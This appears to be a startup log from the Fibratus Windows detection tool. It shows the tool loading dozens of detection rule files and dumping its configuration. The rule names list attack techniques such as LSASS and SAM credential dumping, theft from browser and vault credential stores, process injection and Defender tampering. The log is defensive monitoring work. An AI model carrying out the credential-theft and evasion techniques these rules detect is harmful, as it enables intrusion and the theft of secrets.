shutting down... source=signals/signals.go:39 +time=2025-11-05T15:16:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T15:16:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:15:43+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:15:43+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T17:15:43+01:00 level=info msg=bootstrapping with pid 14240. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T17:15:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-thread=>true enable-fileio=>true enable-vamap=>true min-buffers=>16 enable-handle=>false enable-threadpool=>false enable-image=>true stack-enrichment=>true flush-interval=>1s buffer-size=>512 enable-mem=>false enable-registry=>true max-buffers=>36 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true level=>info formatter=>text max-backups=>15] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient routing-key=>fibratus enabled=>false durable=>false passive=>false url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ exchange-type=>topic] http=>[ endpoints=>[] enable-gzip=>false timeout=>5s serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ gzip-compression=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true trace-log=>false flush-period=>1s bulk-workers=>1 timeout=>5s sniff=>false healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s index-name=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false fastscan=>true skip-allocs=>false scan-timeout=>10s skip-files=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-05T17:15:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:15:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:16:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T17:16:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:16:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:16:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T17:16:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info 